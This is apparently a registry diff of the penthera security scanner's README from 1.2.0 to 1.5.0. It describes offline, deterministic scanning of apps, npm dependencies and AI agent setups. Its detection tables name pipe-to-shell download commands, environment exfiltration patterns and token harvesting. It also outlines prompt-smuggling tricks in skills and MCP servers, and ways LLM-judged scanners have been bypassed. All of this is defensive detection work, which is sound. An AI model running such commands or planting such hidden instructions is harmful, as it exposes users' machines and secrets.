penthera 1.2.0 → 1.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (101) hide show
  1. package/CHANGELOG.md +269 -0
  2. package/README.md +493 -45
  3. package/docs/METHODOLOGY.md +321 -0
  4. package/docs/compliance-cra.md +141 -0
  5. package/docs/compliance-nis2.md +3 -1
  6. package/docs/evidence.md +158 -0
  7. package/docs/examples/github-actions-deps.yml +105 -0
  8. package/docs/examples/github-actions-scan.yml +1 -1
  9. package/docs/examples/pr-dependency-review.yml +56 -0
  10. package/docs/funding/due-diligence-checklist.md +79 -0
  11. package/docs/funding/nlnet-ngi-zero-draft.md +273 -0
  12. package/docs/funding/partner-one-pager.md +84 -0
  13. package/docs/funding/sponsor-tiers.md +81 -0
  14. package/docs/index.md +12 -1
  15. package/docs/local-loop.md +276 -0
  16. package/docs/plan.md +100 -0
  17. package/docs/references.bib +539 -0
  18. package/docs/references.md +77 -0
  19. package/docs/release-plan.md +228 -0
  20. package/lib/adaptive-probes.js +8 -5
  21. package/lib/agents/discover.js +384 -0
  22. package/lib/agents/hidden-content.js +387 -0
  23. package/lib/agents/index.js +286 -0
  24. package/lib/agents/lock.js +115 -0
  25. package/lib/agents/owasp.js +83 -0
  26. package/lib/agents/rules.js +376 -0
  27. package/lib/compliance/cra.js +525 -0
  28. package/lib/crawler.js +5 -15
  29. package/lib/data/retire-jsrepository.json.gz +0 -0
  30. package/lib/data/retire-jsrepository.meta.json +7 -0
  31. package/lib/deps/capabilities.js +523 -0
  32. package/lib/deps/diff.js +84 -0
  33. package/lib/deps/index.js +440 -0
  34. package/lib/deps/license.js +329 -0
  35. package/lib/deps/lockfile.js +109 -0
  36. package/lib/deps/online.js +132 -0
  37. package/lib/deps/popular-packages.json +1 -0
  38. package/lib/deps/report.js +190 -0
  39. package/lib/deps/source.js +171 -0
  40. package/lib/deps/spdx.json +1 -0
  41. package/lib/deps/typosquat.js +113 -0
  42. package/lib/fix/apply.js +95 -0
  43. package/lib/fix/diff.js +199 -0
  44. package/lib/fix/index.js +129 -0
  45. package/lib/fix/model.js +108 -0
  46. package/lib/fix/recipes/cookies.js +130 -0
  47. package/lib/fix/recipes/cors.js +116 -0
  48. package/lib/fix/recipes/headers.js +250 -0
  49. package/lib/fix/recipes/rate-limit.js +211 -0
  50. package/lib/fix/recipes/secrets.js +110 -0
  51. package/lib/fix/util.js +231 -0
  52. package/lib/fuzzer.js +14 -8
  53. package/lib/hook/index.js +312 -0
  54. package/lib/hook/policy.js +62 -0
  55. package/lib/injections.js +19 -15
  56. package/lib/install/index.js +271 -0
  57. package/lib/install/policy.js +125 -0
  58. package/lib/jurisdictions/nl.json +9 -0
  59. package/lib/memory/history.js +52 -0
  60. package/lib/memory/index.js +111 -0
  61. package/lib/memory/repo-suppress.js +64 -0
  62. package/lib/memory/store.js +325 -0
  63. package/lib/memory/views.js +198 -0
  64. package/lib/params.js +4 -12
  65. package/lib/provenance.js +2 -0
  66. package/lib/recon.js +12 -20
  67. package/lib/references.js +31 -0
  68. package/lib/references.json +374 -0
  69. package/lib/remediation/index.js +28 -0
  70. package/lib/retirejs.js +50 -22
  71. package/lib/templates.js +7 -10
  72. package/lib/whitebox/aibom.js +384 -0
  73. package/lib/whitebox/frameworks.js +1 -1
  74. package/lib/whitebox/sbom.js +45 -10
  75. package/lib/whitebox/secrets.js +11 -1
  76. package/package.json +17 -4
  77. package/skills/penthera/SKILL.md +132 -22
  78. package/src/agent/git.js +87 -0
  79. package/src/agent/loop.js +519 -0
  80. package/src/agent/tests.js +48 -0
  81. package/src/cli/agent.js +183 -0
  82. package/src/cli/deps.js +104 -0
  83. package/src/cli/evidence.js +67 -0
  84. package/src/cli/fix.js +191 -0
  85. package/src/cli/hook.js +131 -0
  86. package/src/cli/install.js +225 -0
  87. package/src/cli/memory.js +146 -0
  88. package/src/cli/merge-results.js +2 -0
  89. package/src/cli/report-outputs.js +72 -0
  90. package/src/cli/run-scan.js +2 -0
  91. package/src/cli.js +212 -8
  92. package/src/report/audience.js +270 -0
  93. package/src/report/evidence.js +253 -0
  94. package/src/report/markdown.js +65 -2
  95. package/src/report/model.js +212 -0
  96. package/src/report/template.js +175 -0
  97. package/src/report/timeline.js +145 -0
  98. package/src/reporter.js +109 -5
  99. package/src/scan-url.js +31 -7
  100. package/src/utils/http.js +252 -11
  101. package/src/utils/url.js +23 -0
package/README.md CHANGED
@@ -1,6 +1,6 @@
1
1
  <div align="center">
2
2
 
3
- <img src="assets/penthera-social.jpg" alt="Penthera, a security scanner for Claude, Cursor and CLI" width="840">
3
+ <img src="assets/penthera-social.jpg" alt="Penthera: open-source security for the apps and AI systems you ship" width="840">
4
4
 
5
5
  <br/><br/>
6
6
 
@@ -18,37 +18,119 @@
18
18
 
19
19
  ---
20
20
 
21
- ## Two ways to use it
21
+ <div align="center">
22
+
23
+ ### Open-source security for the apps and AI systems you ship.
24
+
25
+ **Check it before you deploy. Vet what you build with. Keep watching after you
26
+ ship. On your own machine, offline, and free.**
27
+
28
+ </div>
29
+
30
+ ---
22
31
 
23
- **As an Agent Skill (recommended).** Most people start here. Let Cursor or Claude
24
- Code drive it: [install once](#run-it), then ask it to "scan my app for security
25
- issues." The agent picks the scan, runs it, and gives you the fixes.
32
+ ## The problem
33
+
34
+ Teams now ship apps and AI agents faster than anyone can secure them. AI writes
35
+ much of the code. AI pulls in the packages, MCP servers, and skills. And on most
36
+ teams nobody does security full time. Attackers have noticed: 2025 and 2026
37
+ brought self-spreading npm worms that hijacked AI coding tools, malicious MCP
38
+ servers, poisoned agent skills, and leaked AI provider keys running up large bills.
39
+
40
+ Commercial platforms answer this from the cloud, for a fee, often with an AI
41
+ deciding what is malicious. **Penthera answers it on your machine, for free,
42
+ with rules you can read.** Think of it as the open-source security team for
43
+ teams that don't have one.
44
+
45
+ ## What it does for you
46
+
47
+ | | The job | What Penthera does | Command |
48
+ |---|---------|--------------------|---------|
49
+ | **Before you deploy** | Test the app | Scan your localhost or preview URL (TLS, headers, CORS, auth, JWT, IDOR, OAuth, OpenAPI, opt-in injection and fuzzing) and your repo (routes, trust boundaries, secrets including AI keys) | `penthera <url> --repo .` |
50
+ | | Fix and verify | Deterministic fixes on a local branch, re-scanned to prove they worked, remembered so the next run is sharper. Never pushes | `penthera agent --loop` |
51
+ | | Block it at commit time | Secrets, risky agent config, and dependency changes stopped before they are committed | `penthera hook install` |
52
+ | **What you build with** | Vet dependencies | What every package can actually do (install scripts, shell, network, env, obfuscation), what an upgrade added, lookalike names | `penthera deps --base main` |
53
+ | | Guard installs | Shows what a new package brings before any install script runs, and stops it under your policy | `penthera install <pkg>` |
54
+ | | Review pull requests | Comments the dependency capability diff on every PR that touches the lockfile | [GitHub Action](#use-as-a-github-action) |
55
+ | | Audit your AI tooling | Skills, MCP servers, hooks, plugins, and rule files: hidden instructions, unpinned servers, over-broad permissions, silent updates | `penthera agents --home` |
56
+ | **After you ship** | Report and prove | Reports for developers, owners, and auditors; a hashed, signable evidence bundle; NIS2 and CRA readiness and report drafts | `penthera <url> --audience auditor --evidence out/` |
57
+ | | Keep watching | Scheduled checks of your own production for drift: certificates, headers, new endpoints, keys in bundles, new CVEs in your SBOM | *on the [roadmap](ROADMAP.md)* |
58
+
59
+ What it is not: a human pentester, a 24/7 SOC, or incident response. It does the
60
+ repeatable checks so the people you do have can spend their time on judgement.
61
+
62
+ ## Why you can trust it
63
+
64
+ - **Local and offline.** No account, no telemetry, no cloud. `--offline` limits
65
+ network traffic to the target you named, and every report lists the hosts that
66
+ were contacted.
67
+ - **Deterministic, not an AI verdict.** Rules you can read, with `file:line`
68
+ evidence and a confidence label on every finding. No model decides what is
69
+ malicious.
70
+ - **Never acts behind your back.** The fix loop works on a local branch, asks
71
+ before every change by default, and never pushes or opens pull requests.
72
+ - **No update channel to hijack.** Detection rules ship inside reviewed releases.
73
+ Nothing is downloaded and executed at run time.
74
+ - **Releases you can verify.** Published with npm provenance through trusted
75
+ publishing, and each version is approved by a maintainer with 2FA before it
76
+ goes live. SHA-pinned CI, CodeQL, and OpenSSF Scorecard.
77
+ - **Measured and cited.** A published [methodology](docs/METHODOLOGY.md),
78
+ [48 verified references](docs/references.md), and a reproducible
79
+ [benchmark](bench/RESULTS.md) with precision and recall.
26
80
 
27
- **As a CLI.** Prefer the terminal? Run `penthera https://myapp.com`, or just
28
- `penthera` for the guided wizard. See the [quick start](#quick-start).
81
+ ---
82
+
83
+ ## How Penthera fits with other tools
84
+
85
+ Penthera is meant to sit next to the tools you already use, not replace them.
86
+ Many teams run several of these together. Penthera's SARIF output goes straight
87
+ into GitHub code scanning, for example.
88
+
89
+ | | Focus | Where it runs | How it decides | Cost |
90
+ |---|---|---|---|---|
91
+ | **Penthera** | Your app (URL + repo), your dependencies, your AI tooling, fixes, and EU compliance evidence | Your machine or CI, offline | Readable deterministic rules, with evidence | Free, MIT |
92
+ | [Socket](https://socket.dev) | Supply-chain risk across package registries, extensions, and skills | Cloud service, GitHub App, CLI | Package analysis at registry scale, including AI review | Free tier and paid plans |
93
+ | [Snyk](https://snyk.io) | Known vulnerabilities in dependencies, code, containers, and IaC | Cloud service, IDE, CLI | Curated vulnerability database plus static analysis | Free tier and paid plans |
94
+ | [GitHub Dependabot and code scanning](https://docs.github.com/code-security) | Known-CVE alerts, update PRs, CodeQL | GitHub | Advisory database, CodeQL queries | Free for public repos |
95
+ | [OWASP ZAP](https://www.zaproxy.org) | Dynamic testing of web apps | Your machine or CI | Active and passive scan rules | Free, open source |
96
+ | [Anthropic OSS Scanner](https://red.anthropic.com/oss-scanner/) | Finding vulnerabilities in established open-source projects | Run by Anthropic, opt-in for maintainers | AI-driven review with reproducible reports | Free for accepted projects |
97
+
98
+ **Where Penthera adds something:**
99
+ - it checks your app, your dependencies and your AI agent setup in one tool;
100
+ - it runs entirely on your machine, with no account;
101
+ - it fixes what it finds and re-scans to verify the fix;
102
+ - it produces NIS2 evidence.
103
+
104
+ **Where others go further:** registry-wide package intelligence (Socket), curated
105
+ vulnerability data (Snyk, GitHub), and depth of dynamic testing (ZAP).
106
+
107
+ Descriptions reflect each project's public documentation as of October 2026.
108
+ Corrections are welcome by pull request.
29
109
 
30
110
  ---
31
111
 
32
- ## Why Penthera
112
+ ## Two ways to use it
33
113
 
34
- You shipped something fast: vibecoded, AI-assisted, already live. The same models
35
- that helped you build it also make it easy for someone to probe it. Exposed API
36
- routes, missing security headers, weak auth, a hardcoded key in the repo. These
37
- are the common mistakes that get apps broken into. An AI provider key in the
38
- frontend bundle is the newest and most expensive of them.
114
+ **As an Agent Skill (recommended).** Let Claude Code or Cursor drive it:
115
+ [install once](#run-it), then ask it to "scan my app for security issues", "is
116
+ this package safe to add?", or "audit my MCP servers". The agent picks the
117
+ check, runs it, and walks you through the fixes.
39
118
 
40
- Penthera is the check you run before you launch. Ask your agent to "scan my app
41
- for security issues" and it runs an authorized, non-destructive scan, then lists
42
- the top fixes in priority order. You do not need a DAST suite or a security
43
- background to use it.
119
+ **As a CLI.** Run `penthera https://myapp.com`, or just `penthera` for the guided
120
+ wizard. See the [quick start](#quick-start).
121
+
122
+ ---
123
+
124
+ ## Use it responsibly
44
125
 
45
126
  Penthera is for hardening systems you own. It is powerful, so please use it
46
127
  carefully. See [Ethical use](#ethical-use--authorization) and the [Disclaimer](#disclaimer).
47
128
 
48
129
  Shipping in the EU? Penthera also generates your
49
130
  [NIS2 readiness report, policy pack, incident-report drafts, SBOM, and prefilled
50
- customer security questionnaires](#compliance-nis2-and-the-cyberwetgeving).
51
- Offline, no accounts. Readiness tooling, not a certification.
131
+ customer security questionnaires](#compliance-nis2-and-the-cyberwetgeving), plus
132
+ CRA Article 14 report drafts and an AI-BOM.
133
+ Readiness tooling, not a certification.
52
134
 
53
135
  ### What you get
54
136
 
@@ -75,6 +157,8 @@ out as Markdown, JSON, and SARIF, with the fixes in priority order.
75
157
 
76
158
  ---
77
159
 
160
+ ---
161
+
78
162
  ## Run it
79
163
 
80
164
  **One-line install** (clones the repo, links the CLI, and installs the skill into
@@ -111,7 +195,7 @@ Prefer the terminal? Run `penthera` with no arguments for a guided wizard.
111
195
 
112
196
  ---
113
197
 
114
- ## What it does
198
+ ## Scan modes and profiles
115
199
 
116
200
  | Mode | Command | Coverage |
117
201
  |------|---------|----------|
@@ -120,6 +204,7 @@ Prefer the terminal? Run `penthera` with no arguments for a guided wizard.
120
204
  | **Combined** | `penthera https://staging.app --repo .` | Black-box and white-box in one run |
121
205
  | **Interactive** | `penthera` *(no args)* | Guided wizard (URL plus optional repo scan, Markdown report) |
122
206
  | **Machine audit** | `penthera --machine` | macOS checks (keyloggers, persistence, rootkits) |
207
+ | **Dependencies** | `penthera deps` | What each npm package can do (install scripts, shell, network, env, eval, native, obfuscation), capability diff on upgrades, typosquats. Offline |
123
208
 
124
209
  Pick a profile, or add individual flags for more depth:
125
210
 
@@ -137,25 +222,26 @@ Individual flags: `--recon`, `--deep`, `--fuzz`, `--adaptive`, `--nuclei <path>`
137
222
 
138
223
  ```mermaid
139
224
  flowchart LR
140
- U["You / your AI agent"] -->|scan request| P((Penthera))
225
+ U["You / your AI agent"] --> P((Penthera))
141
226
 
142
- P --> BB["Black-box<br/>TLS, headers, CORS<br/>endpoint + OpenAPI discovery<br/>JWT, auth, IDOR/OAuth<br/>injection, fuzzing"]
143
- P --> WB["White-box<br/>API routes<br/>secret scanning<br/>trust boundaries"]
144
- P --> MA["Machine audit<br/>(macOS)"]
227
+ P --> APP["Your app<br/>black-box URL scan<br/>white-box repo scan"]
228
+ P --> DEP["Your dependencies<br/>capabilities, upgrade diff<br/>install firewall, typosquats"]
229
+ P --> AI["Your AI tooling<br/>skills, MCP, hooks<br/>plugins, rule files"]
145
230
 
146
- BB --> F[["Findings<br/>scored by severity"]]
147
- WB --> F
148
- MA --> F
231
+ APP --> F[["Findings<br/>severity, confidence<br/>evidence, sources"]]
232
+ DEP --> F
233
+ AI --> F
149
234
 
150
- F --> T["Terminal summary<br/>+ top 3 fixes"]
151
- F --> MD["Markdown report"]
152
- F --> J["JSON"]
153
- F --> S["SARIF to GitHub Security"]
235
+ F --> FIX["Fix loop<br/>local branch, re-scan<br/>learn, never push"]
236
+ FIX -.verified.-> F
237
+ F --> R["Reports<br/>terminal, Markdown, JSON<br/>SARIF, audience views"]
238
+ F --> E["Evidence<br/>hashed, signable bundle<br/>NIS2 readiness"]
154
239
  ```
155
240
 
156
241
  Findings map to the [OWASP Web Security Testing Guide](docs/owasp-wstg-coverage.md)
157
- (WSTG v4.2). The default scan is non-destructive. Payload-based testing is opt-in
158
- (`--deep`, `--fuzz`, `--all`) and gated behind explicit confirmation.
242
+ (WSTG v4.2), and agent findings to the OWASP MCP and Agentic Top 10s. The
243
+ default scan is non-destructive. Payload-based testing is opt-in (`--deep`,
244
+ `--fuzz`, `--all`) and gated behind explicit confirmation.
159
245
 
160
246
  ---
161
247
 
@@ -200,6 +286,9 @@ next to it. Reports are gitignored by default.
200
286
  | **Markdown** | `--markdown file.md` or `-o file.json` | Human-readable report (exec summary, findings tables, fixes). Written next to `-o` automatically |
201
287
  | JSON | `--json` or `-o file.json` | CI pipelines, baseline diffs, custom tooling |
202
288
  | SARIF | `--sarif file.sarif` | GitHub Security / Code Scanning tab |
289
+ | Audience report | `--audience developer\|owner\|auditor` | The same scan written for a developer, an owner or an auditor ([docs/evidence.md](docs/evidence.md#audience-reports)) |
290
+ | Your template | `--report-template file.md` | Your own Markdown with `{{summary.critical}}`, `{{#each findings}}`, `{{#if x}}`; no code runs |
291
+ | **Evidence bundle** | `--evidence <dir> [--sign-key <ssh-key>]` | All reports plus `manifest.json` with SHA-256s, optionally SSH-signed. Auditors check it with `penthera evidence verify <dir> --allowed-signers <file>` ([docs/evidence.md](docs/evidence.md)) |
203
292
 
204
293
  ---
205
294
 
@@ -244,6 +333,7 @@ npm run package:skill # produces penthera-skill.zip; upload in Settings > Capa
244
333
  - "Scan this repo for hardcoded secrets and exposed API routes"
245
334
  - "Compare today's scan to last week's baseline and show only new findings"
246
335
  - "Generate a SARIF report for GitHub code scanning"
336
+ - "Audit my MCP servers, skills and Claude Code hooks"
247
337
 
248
338
  The skill adds an authorization gate: it instructs the agent to refuse targets you
249
339
  do not own or are not authorized to test, and the wizard asks you to confirm before
@@ -259,6 +349,43 @@ Skill source and workflows live in [`skills/penthera/SKILL.md`](skills/penthera/
259
349
 
260
350
  ---
261
351
 
352
+ ## Audit your agent setup
353
+
354
+ Your AI tools run code too. `penthera agents` audits the skills, MCP servers,
355
+ hooks, permissions, plugins and rule files that Claude Code, Cursor, Claude
356
+ Desktop, VS Code and Copilot load, and grades the setup A to F.
357
+
358
+ ```bash
359
+ penthera agents # this repo: .mcp.json, .claude/, .cursor/, AGENTS.md, CLAUDE.md, skills/
360
+ penthera agents --home # + ~/.claude (hooks, permissions, plugins, skills), ~/.cursor/mcp.json, Claude Desktop
361
+ penthera agents ./some-skill # vet a downloaded skill before you install it
362
+ penthera agents --pin # write penthera.lock; later runs flag anything that changed
363
+ ```
364
+
365
+ It is **offline and deterministic**: no LLM judge, no registry lookups, nothing
366
+ leaves your machine, and it never modifies the config it reads. Every verdict
367
+ is a rule you can read in [`lib/agents/`](lib/agents/), so a skill can't talk
368
+ its way past it.
369
+
370
+ | Check | What it catches |
371
+ |---|---|
372
+ | Hidden content | Unicode tag characters (decoded), zero-width and bidi controls, variation-selector smuggling, text pushed past a wall of blank lines or off-screen, instructions in HTML comments, text addressed to the scanner, base64 blobs (decoded and classified), `.pyc`/archives/executables in a skill folder (by magic bytes, so a renamed `.png` doesn't hide one), symlinks that leave the folder |
373
+ | Code execution | `curl \| sh`, `wget \| bash`, `bash <(curl …)`, `eval "$(curl …)"`, `base64 -d \| sh`, `exec(base64…)`, PowerShell `iwr \| iex`, in skills, scripts, hooks and MCP launch commands |
374
+ | MCP servers | `npx -y` / `uvx` / `bunx` / `pnpm dlx` without an exact version, inline secrets in `env`, headers or args (same rules as the repo secret scan), remote servers over plain `http://` |
375
+ | Hooks & permissions | Hooks that auto-approve tool calls or pipe into a shell (including the scripts they run), `Bash(*)` and other wildcard allows, `bypassPermissions`, allow rules for `~/.ssh` and other credential files, wildcards in a skill's `allowed-tools` |
376
+ | Plugins | Marketplaces and marketplace plugins not pinned to a commit |
377
+ | Rug pulls | `--pin` writes SHA-256 hashes of every skill folder, MCP server definition, hook and installed plugin to `penthera.lock`. A later run reports what changed, appeared or disappeared |
378
+
379
+ Each finding names the OWASP [MCP Top 10](https://owasp.org/www-project-mcp-top-10/)
380
+ and [Agentic Top 10](https://genai.owasp.org/) (ASI) ids it maps to, and the
381
+ usual `--json`, `-o`, `--markdown` and `--sarif` outputs all work. The scanner
382
+ is built for the ways LLM-judged skill scanners have been bypassed: it reads
383
+ whole files (no context window to overflow), every file in a skill folder (not
384
+ just `SKILL.md`), and treats text aimed at a reviewer as a finding rather than
385
+ an argument.
386
+
387
+ ---
388
+
262
389
  ## Scan and fix
263
390
 
264
391
  Penthera does not just report problems. It closes the loop: ask your agent to fix what it finds, and it detects the issue, applies a framework-aware fix to your code (shown as a diff for you to approve), and re-scans to prove it is resolved.
@@ -271,6 +398,265 @@ Penthera does not just report problems. It closes the loop: ask your agent to fi
271
398
 
272
399
  Fixes come from a [remediation playbook](skills/penthera/references/remediation.md) covering Next.js, Express, Fastify, Hono, and FastAPI. They are always shown as diffs for your approval and verified by a re-scan; nothing is applied blindly, and nothing touches production. To build secure-by-default in the first place, see [secure defaults](skills/penthera/references/secure-defaults.md).
273
400
 
401
+ ### Fix recipes
402
+
403
+ For the most common findings you don't need an agent at all. `penthera fix` plans deterministic, local fixes and prints each one as a unified diff:
404
+
405
+ ```bash
406
+ penthera fix --plan --repo . # fresh repo scan, one diff per fix
407
+ penthera fix --plan --repo . -o report.json # or use the findings from an earlier scan
408
+ penthera fix --apply <id> --repo . # apply one diff after you approve it
409
+ ```
410
+
411
+ | Recipe | What it changes | Frameworks |
412
+ |--------|-----------------|------------|
413
+ | `security-headers` | Adds a starter CSP (with `frame-ancestors`), HSTS, X-Frame-Options, Referrer-Policy and X-Content-Type-Options | Next.js (`headers()` in `next.config.*`), Express (`helmet` if installed, otherwise a small middleware), Fastify (`@fastify/helmet` if installed, otherwise an `onSend` hook), Hono (`secureHeaders`) |
414
+ | `cookie-flags` | Adds `httpOnly`, `secure` and `sameSite` to cookies set in code | `res.cookie`, `reply.setCookie`, Hono `setCookie`, Next.js `cookies().set` |
415
+ | `cors-allowlist` | Replaces `cors()`, `origin: "*"`, `origin: true` and `origin \|\| "*"` with an allowlist from `CORS_ALLOWED_ORIGINS` | Express, Fastify, Hono, Next.js route handlers |
416
+ | `auth-rate-limit` | Puts a rate-limit stub (in memory, 10 attempts per 15 minutes) on login and auth routes | Express (`express-rate-limit` if installed), Fastify, Hono, Next.js App Router |
417
+ | `secret-to-env` | Moves a hardcoded secret in JS/TS to `process.env.NAME` and adds `NAME=` to `.env.example` | Any |
418
+
419
+ How it stays safe:
420
+
421
+ - **Planning never writes.** Applying is a separate step: it needs a plan id plus a `y/N` confirmation (or `--yes`), refuses a dirty git tree unless you pass `--allow-dirty`, refuses any path outside the repo, and writes nothing unless every hunk applies. It never commits or pushes.
422
+ - **Conservative edits.** No AST rewriting: each recipe edits at an anchor it recognises exactly (`const app = express()`, the exported Next.js config object, a one-line `res.cookie(...)`). If the anchor isn't there, or the code already does something custom (an existing `headers()`, cookie options in a variable), the recipe returns no plan instead of a risky diff.
423
+ - **Owner actions are listed, not done.** A recipe can move a secret out of the code but can never rotate it, so every secret fix says "rotate this secret". Other recipes flag what is still on you, such as tightening the starter CSP or setting `CORS_ALLOWED_ORIGINS`.
424
+ - **Secrets stay masked.** The secret's value is masked in printed and `--json` plans.
425
+ - **Verified.** After `--apply`, Penthera re-scans the repo and says whether each finding is gone. Headers, cookies, CORS and rate limits are checked statically from source, so re-run your URL scan to confirm against the live app.
426
+
427
+ No recipe for a finding? `--fix-model <name>` can ask a model running in [Ollama](https://ollama.com) on `127.0.0.1:11434`, and nowhere else. It is off by default and only used when no recipe matches. Its diffs are labelled `needs-human-review`.
428
+
429
+ ### The local loop: `penthera agent --loop`
430
+
431
+ `penthera agent --loop` runs scan → fix → verify → learn on your machine until nothing fixable is left (or `--max-iterations`, default 5):
432
+
433
+ ```bash
434
+ penthera agent --loop --repo . --url http://localhost:3000 -o reports/loop.json
435
+ ```
436
+
437
+ It shows each diff and asks `y/n/skip/quit`, applies it on a local branch `penthera/fix-<yyyymmdd-hhmm>`, re-scans (plus your tests with `--run-tests`), commits the fix if it verified and reverts it if not, and records the outcome in [local memory](docs/local-loop.md). It refuses a dirty tree or a detached HEAD, runs only an allow-list of local git commands with your repo's hooks disabled, contacts only the `--url` host, and never pushes or opens a pull request. `--auto low` applies without asking only recipes that memory shows verified 3+ times with no failures on your framework. Details and the `loopRun` JSON: [docs/local-loop.md](docs/local-loop.md#the-agent-loop).
438
+
439
+ ---
440
+
441
+ ## Dependency risk: what can your packages do?
442
+
443
+ A lockfile change is code you did not write, about to run with your app's access
444
+ to files, network, environment and CI secrets. `penthera deps` reads
445
+ `package-lock.json`, statically scans every installed package, and tells you
446
+ what each one *can do*, and which packages are new or gained capabilities in an
447
+ upgrade.
448
+
449
+ ```bash
450
+ penthera deps # every package in node_modules
451
+ penthera deps --base origin/main # capability diff vs the lockfile on main
452
+ penthera deps --diff ../base-checkout # diff vs another installed tree (or an old package-lock.json)
453
+ penthera deps --pr-comment deps.md # short Markdown diff for a PR comment
454
+ ```
455
+
456
+ ```
457
+ ▲ net-helper 1.0.0 → 1.1.0 + network, whole environment
458
+ node_modules/net-helper/index.js:3 const https = require('https');
459
+ node_modules/net-helper/index.js:5 const body = JSON.stringify(process.env);
460
+ ```
461
+
462
+ | Capability | Detected from |
463
+ |---|---|
464
+ | Install scripts | `preinstall` / `install` / `postinstall`, and `binding.gyp` (npm runs `node-gyp` implicitly). Flagged as risky when the hook pipes a download to a shell or runs a file with network or decoding code |
465
+ | Shell, network, dynamic code | `child_process`; `http`/`https`/`net`/`dgram`/`tls`/`http2`, `fetch`, `WebSocket`; `eval`, `new Function`, `vm` |
466
+ | Environment | `process.env` reads, and bulk access (`JSON.stringify(process.env)`, enumeration). Serialising the environment next to network code is reported as likely exfiltration |
467
+ | Files, modules, native | Writes near home-directory or system paths; computed `require()`/`import()`; `.node` addons and `binding.gyp` |
468
+ | Obfuscation | Obfuscator identifiers (`_0x…`), `\x`-escape density, encoded blobs that are decoded and run (embedded WebAssembly and ANSI colour codes are recognised and ignored) |
469
+ | Attack indicators | Writes to `~/.claude`, `~/.cursor`, `.mcp.json` or the Claude Desktop config; running the `claude`, `gemini` or `q` CLIs (the s1ngularity pattern); GitHub token harvesting |
470
+ | Typosquats | Edit distance, separator and suffix tricks against ~7,800 popular npm names, vendored in the package and refreshed at release time |
471
+
472
+ Every capability carries `file:line` evidence. It is a regex-and-tokenizer pass,
473
+ not a full parser: deterministic, never executes package code, and fast enough
474
+ for every PR (0.4 s for Penthera's own 61 packages, 5 to 16 s for real app
475
+ trees of 500 to 1,700 packages). A capability is what code
476
+ *can* do, not proof that it is malicious; the findings carry honest confidence
477
+ labels (`potential` for obfuscation and typosquats).
478
+
479
+ **Offline by default.** Old versions for the diff come from the base tree's
480
+ `node_modules` or from npm's local cache (`~/.npm/_cacache`), looked up by the
481
+ lockfile's integrity hash and verified byte for byte. `--online` is the only
482
+ network use: it asks the npm registry for publish dates, publisher changes and
483
+ deprecations, and fetches old tarballs the cache does not have (verified the
484
+ same way). To comment the capability diff on every PR that changes the
485
+ lockfile, use the GitHub Action below.
486
+
487
+ ### Use as a GitHub Action
488
+
489
+ ```yaml
490
+ - uses: danoszz/penthera@<release-commit-sha> # v1.4.0
491
+ with:
492
+ mode: deps # deps | agents | scan (scan also needs url:)
493
+ fail-on: none # none | high | critical
494
+ ```
495
+
496
+ On every pull request it posts one comment with the capability diff against
497
+ the PR base and edits that same comment on each push. It also uploads SARIF to
498
+ code scanning. Penthera runs from the action's own checkout: no npx, no install
499
+ from npm, no registry lookups. On fork PRs the token is read-only, so the diff
500
+ goes to the job summary instead. Inputs: `mode`, `path`, `base-ref`, `url`,
501
+ `fail-on`, `comment`, `sarif`, `penthera-version`. Copy the full workflow, with
502
+ permissions and a lockfile paths filter, from
503
+ [`docs/examples/pr-dependency-review.yml`](docs/examples/pr-dependency-review.yml).
504
+
505
+ ### Install firewall: `penthera install`
506
+
507
+ `penthera deps` tells you what changed after the fact. `penthera install` asks
508
+ before anything runs:
509
+
510
+ ```bash
511
+ penthera install left-pad # check, then install (asks if the policy says so)
512
+ penthera install -D vitest --dry-run # report only
513
+ penthera install --yes # CI: install only if nothing breaches the policy
514
+ ```
515
+
516
+ ```
517
+ ▲ color-helper 1.0.0 → 1.1.0 + install script
518
+ postinstall: node postinstall.js
519
+
520
+ Policy defaults (no penthera.policy.json)
521
+ ! color-helper@1.1.0 needs approval: install script
522
+
523
+ Install anyway? [y]es, run the install scripts / [s]kip scripts / [N]o:
524
+ ```
525
+
526
+ 1. npm resolves the new tree in a temporary copy of `package.json` and the
527
+ lockfile, with scripts off (`npm install --package-lock-only --ignore-scripts`).
528
+ 2. New tarballs are fetched with `npm cache add`. Nothing is unpacked into
529
+ `node_modules` and no package code runs; each tarball is checked against
530
+ the proposed lockfile's integrity before it is read.
531
+ 3. The `deps` engine diffs capabilities against your current lockfile, lists
532
+ new install scripts with their commands, and checks new names for typosquats.
533
+ 4. `penthera.policy.json` decides. On approval, the reviewed lockfile is
534
+ installed as is, with `--ignore-scripts` unless you approved the scripts
535
+ (on npm 12+, approved scripts are pinned in `package.json` `allowScripts`).
536
+ On abort, exit code 1, and the project is byte for byte unchanged.
537
+
538
+ ```json
539
+ {
540
+ "allow": ["@acme/*", "esbuild", "sharp@0.33.5"],
541
+ "deny": ["ai-cli-invoke", "token-harvest"],
542
+ "requireApproval": ["install-scripts", "ai-config-write", "ai-cli-invoke",
543
+ "token-harvest", "obfuscated", "typosquat", "unscanned"]
544
+ }
545
+ ```
546
+
547
+ `deny` and `requireApproval` take capability ids from the table above
548
+ (`install-scripts`, `shell`, `network`, `env-bulk`, `obfuscated`, ...) plus
549
+ `typosquat` and `unscanned`. The `requireApproval` list shown is the default.
550
+ `allow` takes names or globs, optionally pinned to a version, and overrides
551
+ both. The one network use is npm talking to your configured registry, and
552
+ Penthera prints which one; Penthera itself sends nothing. Workspaces and
553
+ `file:` dependencies are not supported yet.
554
+
555
+ ### License policy
556
+
557
+ ```bash
558
+ penthera deps --license-policy permissive # or weak-copyleft-ok, no-agpl
559
+ penthera deps --license-policy legal/policy.json # a file with a "licenses" section
560
+ ```
561
+
562
+ Without the flag, `penthera deps` applies the `licenses` section of
563
+ `penthera.policy.json` when there is one:
564
+
565
+ ```json
566
+ {
567
+ "licenses": {
568
+ "preset": "permissive",
569
+ "allow": ["Python-2.0"],
570
+ "deny": ["WTFPL"],
571
+ "allowPackages": ["@acme/*", "sharp@0.33.5"],
572
+ "unknown": "warn"
573
+ }
574
+ }
575
+ ```
576
+
577
+ | Preset | Allows |
578
+ |---|---|
579
+ | `permissive` | MIT, ISC, BSD, Apache-2.0, 0BSD, Unlicense, CC0, Zlib, BlueOak and similar. Everything else breaches |
580
+ | `weak-copyleft-ok` | `permissive` plus LGPL, MPL, EPL, CDDL and Artistic-2.0 |
581
+ | `no-agpl` | Anything except AGPL and SSPL (network copyleft) |
582
+
583
+ Licenses come from the lockfile (npm records them in v2 and v3), else from
584
+ the installed `package.json`. Expressions are parsed as SPDX:
585
